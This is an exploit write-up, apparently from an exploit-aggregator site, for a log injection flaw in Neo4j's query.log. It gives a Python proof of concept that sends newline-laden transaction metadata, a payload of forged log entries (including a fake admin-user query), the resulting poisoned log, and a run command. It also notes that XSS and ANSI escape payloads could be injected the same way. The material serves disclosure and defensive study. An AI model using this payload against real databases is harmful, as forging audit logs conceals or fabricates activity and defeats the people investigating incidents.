Share
## https://sploitus.com/exploit?id=8F5BBAB6-3C5C-5A3C-ADE5-5A2F724D1540
# CVE-2026-1337 - Neo4j - Log Injection 

Log injection by an authenticated user is possible in the Neo4j `query.log` when Neo4j is *not* configured to be in json format.


## Summary 

Neo4j does not escape control characters in the metadata field when of a bolt transaction. An autenticated user could send control characters in order to inject fake log entires by injecting new lines, \n. 

In the attached POC code these queries are added to the query.log in a way that they both look legit but only the first one is. There are some other, badly formatted, artifacts in the logs as well due to the injection.

`MATCH (n:RealQuery) RETURN n LIMIT 1`

`MATCH (n:FakeQuery1) RETURN n LIMIT 1`

^ the second one is injected, it is never executed


Essentially this:
```python
with driver.session() as session:
    tx = session.begin_transaction(metadata={"x": payload})
    tx.run("RETURN 1")
    tx.commit()
```

where payload is something like
```
'\n
2025-12-05 13:08:34.148+0000 INFO  Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session       bolt    neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)                client/10.0.0.1:1337    server/127.0.0.1:7687>  neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO  Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session       bolt    neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)                client/192.168.1.50:4444       server/127.0.0.1:7687>   neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO  id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session    bolt    neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)                client/10.0.0.1:1337    server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:34.148+0000 INFO  id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session    bolt    neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)                client/192.168.1.50:4444        server/127.0.0.1:7687>  neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
```
produces this `query.log`:

```
2025-12-05 13:08:34.585+0000 INFO  Query started: id:1 - transaction id:1 - 255 ms: (planning: 255, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/127.0.0.1:50422	server/127.0.0.1:7687>	neo4j - neo4j - MATCH (n:RealQuery) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:35.308+0000 INFO  id:1 - transaction id:1 - 980 ms: (planning: 915, waiting: 0) - 312 B - 2 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/127.0.0.1:50422	server/127.0.0.1:7687>	neo4j - neo4j - MATCH (n:RealQuery) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:35.333+0000 INFO  Query started: id:2 - transaction id:2 - 10 ms: (planning: 10, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/127.0.0.1:50422	server/127.0.0.1:7687>	neo4j - neo4j - RETURN 1 - {} - runtime=null - {x: ''
2025-12-05 13:08:34.148+0000 INFO  Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/10.0.0.1:1337	server/127.0.0.1:7687>	neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO  Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/192.168.1.50:4444	server/127.0.0.1:7687>	neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO  id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/10.0.0.1:1337	server/127.0.0.1:7687>	neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:34.148+0000 INFO  id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/192.168.1.50:4444	server/127.0.0.1:7687>	neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}'}
2025-12-05 13:08:35.370+0000 INFO  id:2 - transaction id:2 - 47 ms: (planning: 44, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/127.0.0.1:50422	server/127.0.0.1:7687>	neo4j - neo4j - RETURN 1 - {} - runtime=pipelined - {x: ''
2025-12-05 13:08:34.148+0000 INFO  Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/10.0.0.1:1337	server/127.0.0.1:7687>	neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO  Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/192.168.1.50:4444	server/127.0.0.1:7687>	neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO  id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/10.0.0.1:1337	server/127.0.0.1:7687>	neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:34.148+0000 INFO  id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session	bolt	neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)		client/192.168.1.50:4444	server/127.0.0.1:7687>	neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}'}
```

# POC

`python log_injection_poc.py --uri bolt://127.0.0.1:7687 --password secret123`

This will inject fake log entries into the query.log.

The lack of escaping could also be abused to inject e.g XSS payloads (a risk for web based log analysis applications) or ANSI escape characters (a risk for terminal based log interaction).